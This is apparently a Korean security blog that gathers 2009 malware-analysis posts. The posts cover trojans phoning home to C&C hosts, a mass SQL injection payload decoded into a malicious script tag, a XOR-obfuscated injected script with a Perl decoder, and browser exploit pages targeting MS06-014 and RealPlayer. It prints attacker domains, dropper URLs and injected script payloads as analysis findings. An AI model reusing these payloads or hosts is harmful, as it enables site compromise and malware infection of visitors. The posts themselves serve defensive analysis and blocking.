0x02 analysis2009. 5. 21. 15:42

허니넷을 통해 획득한 악성코드입니다.

md5sum : f1c83f3eba1705d865403d9cac89799f
file size : 27,648 byte

먼저 Winalysis로 악성코드 실행시 시스템의 변화를 확인해봤습니다.



 


파일이 1개 생성되었고 서비스가 1개 등록되었습니다. 레지스트리의 변경도 있었지만 서비스를 등록하기 위한 변경이기 때문에 따로 언급하진 않겠습니다.

생성된 파일인 gtoor.exe와 원본 파일인 xf.exe가 사이즈와 md5sum값이 같은 동일한 파일이었습니다.
다른점은 원본파일은 일반 파일이었지만 gtoor.exe 파일은 숨김속성과 시스템 파일 속성을 가지고 있었습니다.
즉, xf.exe가 실행되면 자기 자신을 C:\WINDOWS\system32 밑에 gtoor.exe로 복제를 하고 숨김속성과 시스템속성을 부여한 것입니다.
그리고 gtoor.exe파일은 gtoor Driver라는 서비스를 구동하는 파일이었습니다.

해당 파일을 실행된 후에는 shy110.3322.org의 9992번 포트로 접속을 하려고 하는 것을 확인할 수 있었습니다.
그런데 접속을 시도는 하지만 실제 접속이 되지 않고 서버측에서(shy110.3322.org) ACK 패킷을 클라이언트로 보낸 후
RST 패킷을 보내는 것으로 보아 현재 포트가 열려 있지 않거나 서버측에서 포트를 변경했을 가능성이 있어 보입니다.
하지만 포트를 변경했을 가능성은 낮아 보입니다.
정확한건 아니지만 포트번호로 보아 shy110.3322.org는 C&C 서버가 아닌가 생각됩니다.




클라이언트에서 확인해보면 222.215.230.205:9992로 접속을 시도하는 것을 확인할 수 있었습니다.




다음 그림에서도 확인할 수 있지만 222.215.230.205로 접속을 시도하는 프로세스(PID 1388)는 그 이름도 유명한 svchost.exe였습니다.




gtoor Driver 서비스가 실행되면 svchost.exe를 실행시키고 실행된 svchost.exe는 shy110.3322.org:9992로 접속을 시도하도록 되어 있습니다.


"퍄견샛미"에서 확인 결과 V3, nProtect, Virobot에서는 아직 탐지가 되지 않고 있었습니다.

안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 4.0.0.101 2009.05.21 Virus.Win32.Agent.UWD!IK
AhnLab-V3 5.0.0.2 2009.05.21 -
AntiVir 7.9.0.168 2009.05.20 TR/Spy.Gen
Antiy-AVL 2.0.3.1 2009.05.21 -
Authentium 5.1.2.4 2009.05.20 W32/SmallTrojan.A.gen!Eldorado
Avast 4.8.1335.0 2009.05.20 Win32:Rootkit-gen
AVG 8.5.0.339 2009.05.21 -
BitDefender 7.2 2009.05.21 Dropped:Generic.Malware.Fdldg.AAC8CC1C
CAT-QuickHeal 10.00 2009.05.21 -
ClamAV 0.94.1 2009.05.21 -
Comodo 1157 2009.05.08 -
DrWeb 5.0.0.12182 2009.05.21 DLOADER.Trojan
eSafe 7.0.17.0 2009.05.19 -
eTrust-Vet 31.6.6514 2009.05.21 -
F-Prot 4.4.4.56 2009.05.20 W32/SmallTrojan.A.gen!Eldorado
F-Secure 8.0.14470.0 2009.05.20 -
Fortinet 3.117.0.0 2009.05.21 -
GData 19 2009.05.21 Win32:Rootkit-gen
Ikarus T3.1.1.49.0 2009.05.21 Virus.Win32.Agent.UWD
K7AntiVirus 7.10.739 2009.05.19 -
Kaspersky 7.0.0.125 2009.05.21 -
McAfee 5621 2009.05.20 -
McAfee+Artemis 5621 2009.05.20 Artemis!F1C83F3EBA17
McAfee-GW-Edition 6.7.6 2009.05.21 Trojan.Spy.Gen
Microsoft 1.4701 2009.05.21 Trojan:Win32/SystemHijack.gen!C
NOD32 4092 2009.05.20 probably a variant of Win32/Agent.NWM
Norman 6.01.05 2009.05.20 -
nProtect 2009.1.8.0 2009.05.21 -
Panda 10.0.0.14 2009.05.20 -
PCTools 4.4.2.0 2009.05.20 -
Prevx 3.0 2009.05.21 -
Rising 21.30.20.00 2009.05.20 -
Sophos 4.41.0 2009.05.21 Sus/Behav-1008
Sunbelt 3.2.1858.2 2009.05.20 -
Symantec 1.4.4.12 2009.05.21 Backdoor.Trojan
TheHacker 6.3.4.1.328 2009.05.20 -
TrendMicro 8.950.0.1092 2009.05.21 -
VBA32 3.12.10.5 2009.05.21 suspected of Embedded.Rootkit.Win32.Agent.iyf
ViRobot 2009.5.21.1744 2009.05.21 -
VirusBuster 4.6.5.0 2009.05.20 -


국내 사용자들이 가장 많이 사용하는 V3, nProtect, Virobot에서는 아직 탐지를 못하고 있습니다.
빠른 시일내에 업데이트되었으면 하는 바램입니다.


앞으로 계속 추이를 살펴봐야겠지만 현재는 접속이 되지 않고 있었습니다.
앞에서도 말씀드렸지만 shy110.3322.org라는 도메인을 사용하는 공격자가 C&C 프로그램을 실행시키고 있지 않아 9992 포트로 접속이 안될 수 있습니다.
포트를 바꿨을 가능성도 있겠지만 포트를 바꿀 가능성은 낮아 보입니다. 만약 포트를 바꿨다면 악성코드를 다시 컴파일해서 배포해야 하기 때문입니다.




여담)
직접 샘플을 보안 업체에 보내고 싶은데 절차를 아시는분 계시면 알려주시면 감사하겠습니다. ^^;

Posted by demantos
0x02 analysis2009. 5. 18. 13:35

새로운(?) 도메인을 알게 되서 포스팅합니다.
hapt03.cn은 이미 잘 알려져 있는 듯 한데 국내에서는 아직인 듯 합니다.
FF로 해당 사이트에 웹으로 접속하면 경고 메시지가 뜹니다.




해당 사이트에 접속시엔 500 Internal Server Error가 나옵니다. 하지만 해당 디렉토리에는 몇개의 파일이 있는 듯 한데
그중에서 하나의 파일을 찾았습니다.

hxxp://shaody.1.jp.hapt03.cn/hack.exe

해당 파일을 다운 받으면 Antivir에서 악성코드라고 잡더군요..
바이러스토탈에 넣어 봤더니 40개 엔진중 18개에서만 탐지가 되고 있었습니다.
V3와 nProtect에서는 탐지가 되고 있었으며 바이로봇에서는 아직 탐지하지 못하는 듯 합니다.
헌데 바이로봇은 15일자 엔진으로 검색하는걸 보니 엔진 업데이트 후 탐지할 가능성도 있습니다.


일단 항상 하던대로 실행시켜보았습니다.




nvhai520.3322.org의 8800번 포트로 접속하는 것을 볼 수 있습니다. 아직도 3322.org는 애용되고 있군요...-_-;;

Winalysis에서 시스템의 변화를 살펴보니 역시나 레지스트리를 여러개 변경하였고 서비스를 하나 등록하는걸 확인하였습니다.
헌데 파일에는 변화가 없다고 나오지만 실제로 살펴보면 svchost.exe에 dll injection을 하고 있었습니다.




시간을 보시면 파일을 실행했던 시간이 나오고 있습니다. 이름부터 좀 이상하죠.. fakqvekk.dll
그리고 해당 프로세스가 nvhai520.3322.org(59.34.245.21)로 접속하는 걸 볼 수 있습니다.




도메인명이 좀 다른데 Reverse-Lookup을 해서 가져온 도메인이 원 도메인명과 약간 다른 듯 합니다.
아무튼 fakqvekk.dll이라는 파일은 새로 생성된 파일인데도 Winalysis에서 못 잡네요...
파일명은 랜덤으로 생성되는 것으로 보입니다.




그리고 다른 악성코드들과는 좀 다르게 C:\WINDOWS\ssytem32에 파일을 생성하는 것이 아니라
C:\WINDOWS\system32\drivers\etc에 생성하고 있었습니다.

그리고 특이한점은 kTGsJaDDRj.ini라는 파일을 생성한 것인데 파일엔 아무런 내용도 없었는데 파일의 크기는 3바이트였습니다.
그래서 데이터 스트림이 있는건 아닐까 하고 lads로 검사해봤지만 데이터 스트림이 숨겨져 있지는 않았습니다.

lads : http://www.heysoft.de/Frames/f_sw_la_en.htm



결국 shaody.1.jp.hapt03.cn은 Dropper임을 확인할 수 있었고 다운 받은 hack.exe라는 파일이 실행되면
nvhai520.3322.org의 8800번 포트로 연결하는 것으로 보아 nvhai520.3322.org는 C&C인 듯 합니다.

뭐...3322.org 자체가 대부분의 ISP에서 차단되어 있기 때문에 큰 영향력을 미치지는 않을 듯 합니다만
동일한 악성코드가 도메인을 바꾸거나 IP로 접속하게 할 경우엔 봇으로 동작할 우려가 아직 남아 있습니다.





Posted by demantos
0x02 analysis2009. 5. 5. 02:37

오랜만에 글 써봅니다. ^^; 
그 동안 잠심 다른 업무를 좀 하느라...
그럼 몇일전 WAF에서 발견된 악성스크립트 분석해보겠습니다.

MASS SQL Injection을 시도가 있었고 로그를 분석한 결과 삽입될 URL부분만 인코딩되어 있었습니다.

 %3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%76%61%76%61%74%69%6F%6E%2E%35
 %39%34%34%76%2E%6E%65%74%2F%62%62%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

인코딩된 부분을 디코딩하면 다음과 같습니다.

 <script src="hxxp://vavation.5944v.net/bb.js"></script>


위 도메인은 처음보는 도메인인데 앞으로 어떤 추이가 나올지 궁금합니다.

일단 bb.js를 열어보면 같은 위치에서 bb.htm 파일을 iframe으로 삽입시켰습니다. 당연히 width와 height는 0입니다.




bb.htm에서 약간 이상한 부분이 있었습니다.
다른 사람이 확인했을 때는 분명 실행파일에 대한 링크가 있었는데 제가 확인했을 땐 없었습니다.
제가 확인한 페이지는 이렇습니다.




js.users.51.la/2618220.js를 불러 오기는 하는데 특별한 내용은 없었습니다만 js.user.51.la라는 도메인은 악성코드 유포로 유명했던 도메인이라 조금 꺼림직하긴 합니다.

먼저 분석했던 직원에 의해 발견된 bb.htm에서는 hxxp://vavation.5944v.net/1.exe 을 포함하고 있었습니다. 아마도 제가 뭔가 잘못한게 아닌가 생각되지만 어디서 어떻게 잘못한건지 감을 못 잡고 있습니다. -_-;;
그래서 그냥 직접 받아 보았습니다. 파일 속성만 살펴보아도 짱개 프로그램이라는게 눈에 확 들어옵니다.




Winalysis로 스냅샷 찍고 파일을 실행해보았습니다.
파일이 2개, 레지스트리 여러개, 서비스 1개가 변경되었습니다. 그 중에서 레지스트리를 보시면




파일 2개는 drivers 폴더에 대한 변경 하나와 C:\WINDOWS\Systear.exe 두개입니다. 이 파일이 SYS라는 서비스를 실행하는 파일입니다.
그런데 확인 결과 서비스가 실행되지는 않은 것처럼 보이는데 실제로는 서비스가 실행되지 않은게 아니라
서비스를 실행시키면 Systear.exe가 실행되고 이 파일이 svchost.exe를 실행시키고 특정 도메인으로 접속하게 만듭니다.
그리고 Systear.exe 프로세스는 사라지고 서비스에서도 시작되지 않은 것처럼 보이는 것이죠.

파일 실행시 패킷을 떠보니 11826.rhelper.com으로 질의를 한 후 1600번 포트로 연결을 합니다.




1번에서 11826.rhelper.com으로 질의해서 222.131.44.225를 받아오고
2번에서 222.131.44.225로 3-way handshaking을 거쳐 접속을 합니다.
그리고 3번에서 서로 어떤 데이터를 주고 받습니다.

보여드리고 싶었는데...pcap 파일을 날려 먹었습니다. -_-;;
현재는 연결이 안되고 있습니다. ㅜ.ㅜ
pcap 데이터 확보되면 수정하겠습니다.


rhelper.com으로 구글에서 검색한 결과 다수의 악성코드들이 존재하는 것을 확인할 수 있었습니다.
19167.rhelper.com  63540.rhelper.com  62869.rhelper.com  등등 여러가지 있습니다.

악성코드가 실행된 후 11826.rhelper.com으로 연결하는걸로 봐서는 11826.rhelper.com 도메인이
공격자가 좀비들에게 명령을 내리는 C&C 서버일 가능성이 높아 보입니다.

추가적인 위험성이 존재할 수 있기 때문에 위에서 살펴 보았던
vavation.5944v.net과 11826.rhelper.com 도메인은 차단하는 것이 좋을 듯 합니다.


그리고 현재시간으로 VIRUSTOTAL에서 확인 결과 V3에서는 잡고 있지만 nProtect나 Virobot, BitDefender(알약에서 사용하는 엔진) 등은 해당 악성코드를 잡아내지 못하고 있다. 본인은 AntiVir를 사용하고 있는데 AntiVir는 잘 잡아내고 있다.


안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 4.0.0.101 2009.05.04 Trojan.Crypt!IK
AhnLab-V3 5.0.0.2 2009.05.04 Win-Trojan/Xema.variant
AntiVir 7.9.0.160 2009.05.04 TR/Crypt.ZPACK.Gen
Antiy-AVL 2.0.3.1 2009.04.30 -
Authentium 5.1.2.4 2009.05.04 W32/Fujack.U
Avast 4.8.1335.0 2009.05.04 -
AVG 8.5.0.327 2009.05.04 Win32/Heur
BitDefender 7.2 2009.05.04 -
CAT-QuickHeal 10.00 2009.05.04 -
ClamAV 0.94.1 2009.05.04 -
Comodo 1149 2009.05.03 -
DrWeb 4.44.0.09170 2009.05.04 -
eSafe 7.0.17.0 2009.05.03 Win32.TRCrypt.ZPACK
eTrust-Vet 31.6.6488 2009.05.04 -
F-Prot 4.4.4.56 2009.05.04 W32/Fujack.U
F-Secure 8.0.14470.0 2009.05.04 -
Fortinet 3.117.0.0 2009.05.04 PossibleThreat
GData 19 2009.05.04 -
Ikarus T3.1.1.49.0 2009.05.04 Trojan.Crypt
K7AntiVirus 7.10.723 2009.05.04 Trojan.Win32.Malware.1
Kaspersky 7.0.0.125 2009.05.04 -
McAfee 5605 2009.05.04 New Malware.ix
McAfee+Artemis 5605 2009.05.04 Artemis!2046A24FF3F8
McAfee-GW-Edition 6.7.6 2009.05.04 Trojan.Crypt.ZPACK.Gen
Microsoft 1.4602 2009.05.04 -
NOD32 4052 2009.05.04 Win32/Fujacks
Norman 6.01.05 2009.05.04 Fujack.T
nProtect 2009.1.8.0 2009.05.04 -
Panda 10.0.0.14 2009.05.04 Suspicious file
PCTools 4.4.2.0 2009.05.03 -
Prevx1 3.0 2009.05.04 -
Rising 21.28.04.00 2009.05.04 -
Sophos 4.41.0 2009.05.04 Mal/UnkPack-Fam
Sunbelt 3.2.1858.2 2009.05.03 -
Symantec 1.4.4.12 2009.05.04 -
TheHacker 6.3.4.1.318 2009.05.04 -
TrendMicro 8.950.0.1092 2009.05.04 -
VBA32 3.12.10.4 2009.05.04 -
ViRobot 2009.5.4.1719 2009.05.04 -
VirusBuster 4.6.5.0 2009.05.04 -


 


내일은...아니 오늘은 어린이날이군요...
아들래미랑 신나게 놓아줘야겠군요...
아침에 좀 늦게 일어날 듯 하지만요...^^;

앞으로는 자주 포스팅할 수 있도록 노력하겠습니다.




Posted by demantos
0x02 analysis2009. 3. 12. 19:20



<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8



이 녀석이죠.. 기억나시죠?
전 그때 좀 보다가 당췌 무슨말인지 이해할 수가 없어서 그냥 지나갔었는데 이 글을 보고 계신 고수님들께서는 해석해 보신 분들이 있지 않을까 생각됩니다.

좀 늦은감이 없지 않아 있지만 갑자기 생각나서 검색 들어갔습니다.
대부분의 Injection된 사이트들의 링크가 나오고 Viruslab님과 My Hacked Story님의 블로그에서 간단하게 소개 정도만 나왔습니다.
그래서 검색된 사이트 전부 뒤지다보니 일본 사이트가 나오더군요..

http://d.hatena.ne.jp/hasegawayosuke/20090116/p1

번역기를 돌려 대충 문맥만 이해해봤습니다.
이 사이트에서는 추측으로 악성스크립트 형태를 만들어 내고 있었는데

<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8
<script src=***********************************

대부분의 악성코드들이 <script src= 이라는 형태로 시작하기에 위와 같은 추측을 했답니다.
그리고 마지막은 ></script> 형태를 띄게 되죠..
영문자는 영문자로 기호는 기호로 변환된다는 생각을 했다고 합니다.

<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8
<script src=http://******************></script>

글자수도 일치합니다...우연의 일치인지...
이 상황에서 기호를 기호로 추측해서 변환을 해보면

<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8
<script src=http://**.*****.***/**.js></script>

이렇게 나온답니다.
왠지 그럴싸하게 맞아 들어가지 않나요? ㅎㅎ

마지막에 보니(번역기 돌린 후에) 이런 말이 번역되어 있었습니다.

"회답 나왔다."

누군가 해석을 했다는 의미인 듯 합니다.
그래서 링크를 따라가 보았습니다. 세개의 링크가 있었는데 그 중 가장 인상 깊었던 링크만 정리해 보겠습니다.

http://d.hatena.ne.jp/callee/20090116/p1

이 블로그에서는 XOR 연산을 염두에 두고 있었습니다. 재미있는건 이 암호(?)를 해독하기 위해 perl로 간단한 스크립트를 짰다는 것입니다.

use strict;
use warnings;

my @a = split '', '<raqmtr$r{c<jwpt<+.z1/absnd*bfm.iq*nu:=&sbpjtp8';

my @b = split '', '<script src=http://s1.cawjb.com/kr.js></script>';
for ( my $i = 0; $i < @a; $i++ ) {
 print ord($a[$i]) ^ ord($b[$i]);
 print "\n" if $i % 10 == 9;
}


원문에서는 링크가 되는게 싫어서 도메인명에 '.' 대신 '_'를 붙였다고 했는데 전 '.'을 넣어서 스크립트를 실행했습니다.
그리고 원문에서는 '0123446419'의 반복 패턴으로 XOR을 취하는 듯 하다고 합니다.
실제로 위 스크립트를 실행해보면 다음과 같은 결과가 나옵니다.

0123446419
0123446419
0123446419
0123446419


모두 똑같은 결과가 나왔습니다!!




개인적인 생각이긴 하지만 누군가 자기만의 암호화 법칙을 <script src=http://s1.cawjb.com/kr.js></script> 에 적용시켜

SQL Injection을 수행한게 아닌가 생각됩니다. 물론 그냥 심심해서...ㅎㅎ

이상한걸 온라인에 잠깐 퍼트려서 사람들의 궁금증을 유발시켜 도전해 볼 수 있는 그런 챌린지 문제가 아닌가 하는 생각도 들구요..



간만에 재미있는 녀석 봤습니다.

앞에서도 말씀드렸지만 제가 해석한게 아니고 일본사람이 해석한 걸 그냥 옮겼을 뿐입니다. ^^;



이제 회식자리에 가야겠습니다. ㅎㅎ




Posted by demantos
0x02 analysis2009. 3. 5. 18:27

이번에도 네x버 SecurityPlus 까페에서 구한 샘플입니다.
까페 주인장이신 mirrk님께서 올려두셔서 받았었습니다.(작년 12월 30일날)
그냥 놔두고 있다고 오늘 다시 보게 되었습니다.
이미 분석이 끝나신 분들도 계시지만 개인적인 성취감을 위해 한번 덤벼봤습니다.


덤비긴 덤볐는데 초반부터 제가 몰렸습니다. -_-;;
악성스크립트를 그리 많이 본건 아니지만 지금까지 본 악성스크립트 중 최고로 독한놈인 듯 합니다.
첨부된 파일은 index와 check.html 파일 두개였습니다.

mirrk님의 글을 보면




다소 재밌는 구석(?)이라고 하셨지만 전혀 재미있지 않았습니다!!....(라고 말하고 싶지만 사실 좀 재미있긴 했습니다. 헤헤)

일단 index 파일부터 보시겠습니다. 내용이 길어 일부만 보여드리겠습니다. 대충 감만 잡으시길...




스크롤바를 보시면 아시겠지만 이러 내용이 두번 더 나옵니다. -_-;;
처음엔 눈 빠지는줄 알았습니다. 그나마 눈이 남들보다 조금 좋은편이라 다행이었습니다.

패턴을 확인해보니

알파벳대문자='~~~~~';

이런 형태였습니다. 즉 대문자가 변수인거죠..
그러다가 어느 정도 진행하다가 A+=O+P+E+C+B+M 와 같은 형태로 스크립트 코드를 전부 A라는 변수에 집어 넣고 있습니다.

딱히 다른 방법이 생각나지 않아 메모장에 붙녀 넣은 다음 '; 가 나오고 그 다음에 알파벳 대문자가 나오면 알파벳 앞에서 엔터를 쳐서 보기 좋게 정렬해 나갔습니다. 그런데 아무리해도 줄어들 기미가 보이질 않았습니다. 막막하더군요...

그러다 갑자기 생각났던게 vi 에디터였습니다. 요즘 리눅스에 좀 소홀히했더니 무뎌지나 봅니다.




:1s/';/';^M/g   ---> ^M은 ctrl+v를 누르시고 ctrl+m을 누르시면 됩니다.




변경되었습니다. 중간중간 하얀색선 안의 내용처럼 되는 부분이 있는데 몇개 안되니 직접 수정해주시면 됩니다.

대충 형태를 보니 알파벳 대문자로 변수 지정을 하고 원본 스크립트를 무작위로 쪼개서 변수에 할당합니다. 물론 순서에 맞기 않게 마구잡이로 섞어놨습니다. 순서대로 해놨으면 참 보기 쉬웠을텐데 말이죠.. 똑똑한건지 지독한건지...

이렇게 변수를 계속 할당하고 A에 append시킨 후 가장 마지막엔 eval() 함수를 사용해서 스크립트를 실행하고 있었습니다. 그래서 eval() 대신 document.write를 사용해서 실행되는 스크립트를 출력해보았습니다.




출력해보니 이번엔 좀 더 알아보기 쉽게 나오긴 했지만 아직도 복잡하군요...-_-;;




직접 실행시켜보니 에러가 나더군요..
아무래도 뭔가 좀 부족한가 봅니다.
계속 하고 싶지만 오늘은 제가 있는 곳이 너무 더워 그만 나가볼렵니다.
비도 오니 쏘주나 한잔~ ㅎㅎ

원본 코드 첨부하겠습니다.









Posted by demantos
0x02 analysis2009. 3. 4. 21:48

엊그제 네x버의 SecurityPlus 까페에 갔다가 획득하게 된 파일들입니다.
다운 받은 파일은 html과 js 파일이었는데 결국 하나의 파일을 통해 iframe이나 script로 연결된 파일들이었습니다.

가장 먼저 나오는놈부터 보겠습니다.

help.htm
<script src=http://125.xxx.xxx.xxx/ad/bir.js></script>
<script src="http://s17.cnzz.com/stat.php?id=1255205&web_id=1255205" language="JavaScript" charset="gb2312"></script>

bir.js 파일이 script 태그를 통해 삽입되고 있습니다. 바로 아래에는 익숙한 도메인이 보이는군요.. 현재 두번째 스크립트는 스크립트로써 동작하지 않고 그냥 텍스트 형태로 문자열만 보이고 있습니다.

그럼 bir.js 파일을 보도록 하겠습니다.



그냥 딱 보기에도 악성스크립트인게 보입니다. 정상적인 스크립트라면 이런식으로 인코딩하지 않겠죠..
뭔가 구린게 있으니 인코딩을 하는거겠죠?

인코딩된 내용을 디코딩해보니 브라우져가 MSIE 7버전이 아닌 경우에 MS06-014 취약점을 찾고 취약점이 있을 경우 tmg.htm 파일을 iframe으로 삽입합니다.
그리고 RealPlayer의 취약점을 찾고 RealPlayer의 버전이 6.0.14.802일 경우 so.htm을 6.0.14.552일 경우 sso.htm을 iframe으로 삽입합니다.
마지막으로 ie.htm을 iframe으로 삽입합니다.

결국 이 파일은 MS06-014 취약점과 RealPlayer 6.0.14.802와 6.0.14.552 버전의 취약점을 공격하는 스크립트입니다.


이번엔 is.htm 파일입니다.




첫번째 빨간 네모 안의 인코딩된 데이터는 쉘코드인 듯 합니다.
is.htm 파일의 처음부터 빨간 네모 있는 부분까지는 MS09-002 취약점을 공격하는 코드가 아닌가 생각됩니다.(방립동님 감사~)
방립동님께서 조언해주시면서 알려주신 사이트입니다. 참고하시면 도움이 되실듯...
http://www.hacker.com.cn/article/view_15004.html
http://blog.sina.com.cn/s/blog_4cbae5c50100c46d.html

혹시 이부분이 틀렸다면 지적해주세요~

그리고 두번째 빨간 네모 안의 인코딩된 데이터는 XML 파싱 취약점을 공격하는 코드입니다. 두번을 디코딩하면 다음과 같은 코드가 나옵니다.




이번에는 tmg.htm 파일입니다.



원래는 이것보다 더 길게 나오는데 짤렸습니다. tmg.htm은 packer로 패킹을 했기 때문에 언팩을 해야 합니다. 리버싱에서의 언팩이 아닙니다...-_-;;
http://dean.edwards.name/packer 에 가시면 패킹도 가능하고 언팩도 가능합니다.

언팩을 해보면




이번에도 디코딩해야 할게 두개가 있습니다. 하나는 실제 실행될 악성코드를 다운 받을 URL이구요 하나는 CLSID입니다. CLSID로 구글신께 질뭉을 드리면 MS06-014 취약점이라고 대답해주십니다.(구글신 만쉐~)

일단 URL의 파일을 받아 봤습니다. 그리고 실행해봤습니다.(꼭 vmware에서 하시기 바랍니다)

먼저 동일한 사이트(http://www.pinganye.net)에서 뭔가를 열심히 받아옵니다.



일단 다운 받을 파일의 목록(/css/img/List.txt)을 가져온 다음 파일을 받아옵니다. (maz.exe, daz.exe, haz.exe, paz.exe, oaz.exe)

Winalysis로 시스템 스냅샷을 뜬 후 img.exe를 실행하기 전과 비교해보니 상당히 많은 변화가 생겼습니다.
파일이 총 8개가 새롭게 생성되었고 레지스트리는 말할 것도 없습니다. 그리고 새로운 서비스도 생겼습니다.






아무래도 새로 생성된 8개의 파일은 다운 받았던 6개의 파일에 의해 생성된 듯 합니다. 그리고 서비스를 직접 확인해 봤습니다.






공격자들이 자주 애용하는 svchost -krnlsrvc가 보이구요
Windows Hardware Card는 설명이 너무 눈에 띄게 특이 하군요...-_-;;

우리의 영원한 동반자이자 친구인 Process Explorer에게 물어봤습니다... 쟤네들 도대체 지금 무슨 짓을 하고 있는지...




한놈은 계속 연결되어 있는데 한놈은 연결됐다가 끊기고를 반복하고 있었습니다.




http://sharetitt.3322.org:9012/20090030004/21000904/5366250.jsp 를 계속 요청하지만 sharetitt.3322.org는 없다고 합니다. 계속 RST 패킷만....


[추가증상]
저는 분석 시스템에서 보통 시스템폴더, 보호된 운영체제파일, 숨김파일등이 보이게끔 설정을 하곤 합니다. (개인노트북도 그렇지만...)
그런데 img.exe 이녀석...계속 숨김파일 및 폴더는 표시안함으로 설정을 되돌리는군요..
이러다간 다른 악성코드들까지 잘못하면 안보이겠네요..


Wireshark로 뜬 패킷 중에 DNS 질의하는 놈들만 골라봤습니다. 총 4개의 도메인을 질의하는데 그 중 한놈은 없다고 하네요...



www.honggu2009.com은 질의만 할 뿐 다른 행동은 하지 않았고 srily.vicp.net은 sharetitt.3322.org와 아이피가 같았습니다.
3322.org야 막혀 있으니 상관 없는데요 srily.vicp.net은 아직 sink hole 처리가 되어 있지 않군요.. 도메인 차단해야 할 듯 합니다.


img.exe 실행하면서 캡쳐했던 패킷은 첨부하겠습니다.


html 코드만 볼려다가 갑자기 이야기가 삼천포로 빠졌군요...-_-;;


다음은 so.htm과 sso.htm 파일입니다. 실제 파일 내용은 더 길지만 지면 관계상 짧게 잘랐습니다.






둘 다 RealNetworks RealPlayer ActiveX controls 취약점을 공격하는 코드입니다.
sso.htm 내용중 빨간색으로 표시된 부분 보이시죠? 유치한 방법을 사용했습니다.

"IEaaR"+"PCaaatl.I"+"EaaaRP"+"Ctaaal.1" 라고 쓴 후 바로 아래에서 a 라는 글자를 없애버립니다. 그런 IERPCtl.IERPCtl.1이라고 변환이 됩니다.
별게 아니라 생각되지만 점점 복잡하게 꽈놓는게 공격자들의 성향인 듯 합니다. 앞으로가 걱정...


마지막으로 ie.htm은 FlashPlayer 버전을 확인한 후 Antivir 백신의 설치와 업데이트를 방해합니다.(SecurityPlus musicalmman님)




마지막에 파란색으로 된 부분은 패킹되어 있는 부분입니다. 패킹을 풀면 플래시플레이어의 버전에 따른 행동들을 지정하고 있습니다.







윈도우 업데이트와 주요 어플리케이션들에 대한 패치가 이루어지지 않으면 공격을 받을 수 있습니다.
다른 말로 하자면 좀비가 될 수 있다는 것이지요..

흔히 PC방에서는 바이러스 걸렸다 싶으면 백업해놓은 걸로 한번 밀면 그만이라 합니다.
하지만 백업해놓은 걸로 다시 설치하면 재감염됩니다.

안일하고 잘못된 생각들이 좀비의 수를 늘리고 있습니다.
물론 ISP들은 그걸 막기 위해 삽질해서 숙주도메인 찾아서 막고 있습니다.

sharetitt.3322.org 막혔습니다. 이 놈 몇 주 전에 유심히 지켜봤던 기억이 나네요.
헌데 sharetitt.3322.org와 같은 아이피로 srily.vicp.net 도메인이 등록되어 있습니다.
그럼 ISP는 또 막겠죠? 그럼 공격자들은 또 다른 도메인을 찾을겁니다.

3322.org가 잘 안되니 optus.nu로 갈아타자~ 라는 지하세계의 공지가 있었다고 하니 3322.org를 막는다고 전부 해결되는게 아닙니다.
지금 optus.nu에 대한 질의가 점점 늘어나고 있습니다. 몇 달 뒤엔 optus.nu를 차단하는 일이 발생할 수도 있겠죠..



이상으로 정리가 잘 되지 않은 분석을 보시느라 수고하셨습니다. ^^;;

잘못된 부분이 있다면 지적해주시면 감사하겠습니다.

그리고 분석했던 htm 파일은 필요하신분들께 드리도록 하겠습니다.





Posted by demantos
0x02 analysis2009. 2. 27. 13:29


얼마전 국내를 강타(?)한 2090 바이러스는 이 글을 읽고 계신분들은 다들 아실겁니다.
무한 재부팅이 된다.. 치료 불가능하다.. 라는 여러가지 루머가 있었습니다.
우연히 커뮤니티를 통해 입수해서 한번 분석을 해보기로 했습니다. 배포는 하지 않습니다.

2090 바이러스는 MS08-067 취약점을 공격한 바이러스입니다. 윈도우 업데이트를 착실하게 잘 하신분들은 전혀 위험하지 않으셨을겁니다.
시스템 날짜가 2090년 1월 1일로 변경되셨던 분들이라면 윈도우 업데이트를 하지 않아셨던겁니다.


0x01 Base Information

입수한 파일은 exe파일과 시스템 파일(sys) 총 두개였습니다. 먼저 간단하게 바이러스토탈을 통해서 검사해 봤습니다.
파일명은 system.exe와 f82abd63e90429ae68cee70e40a51c60.sys였습니다.

system.exe


f82abd63e90429ae68cee70e40a51c60.sys


뭐...대부분의 백신에서 현재는 탐지가 가능합니다.
system.exe 파일의 import되는 함수들만 봐도 악성코드라는 것을 어느 정도 짐작이 가능합니다.


0x02 행동 분석

먼저 SysAnalyzer를 통해서 분석해 보았습니다.



system.exe가 실행되면 드라이버 파일인 C:\DOCUME~1\demantos\LOCALS~1\Temp\07164.sys 와 system.exe 파일과 동일한 파일인 C:\WINDOWS\system32\4026202 파일 두개를 생성합니다. system32 폴더 아래에 생성되는 일곱자리 숫자로 된 파일은 system.exe 파일을 복사해서 새롭게 만들어 내는 파일입니다.

특이한 점은 system.exe가 정상적으로 실행되지 않으면 계속해서 다른 이름의 파일을 생성해냅니다.






그리고 HKLM\SYSTEM\\CurrentControlSet\\Services\\NvCplDaemon 위치에 새로운 레지스트 키값을 생성하는 걸 확인할 수 있었습니다.



이 레지스트리값은 앞에서 생성된 드라이버 파일에 대한 내용이었습니다.


system.exe가 실행이 되면 sex.pornosurkiye.com로 접속하기 위해 쿼리를 날립니다




위 도메인은 KISA에서 국내 ISP에게 차단을 요청한 도메인입니다. 제가 설정한 DNS는 필터링이 안되어 IP를 그대로 가져올 수 있었습니다. 해당 도메인에 대한 IP를 받아 오지 못할 경우 system.exe가 제대로 실행되지 않아 계속 에러 메시지를 출력했었습니다.

특이한 점은 클라이언트가 85.17.136.148에 접속을 하게 되는데 reverse lookup을 하면 sex.pornoturkiye.com이 아닌 hosted-by.leaseweb.com라는 도메인이 나오게 된다는 것입니다. (DNS 정보는 삭제했습니다)




process explorer에서 확인해보면 실제로도 hosted-by.leaseweb.com에 연결하는 것을 확인할 수 있었습니다.




hosted-by.leaseweb.com의 81번 포트로 연결을 하는데 IRC 서버였습니다.




IRC 서버 접속 후에는 특별히 다른 행동을........하나? 안하나?


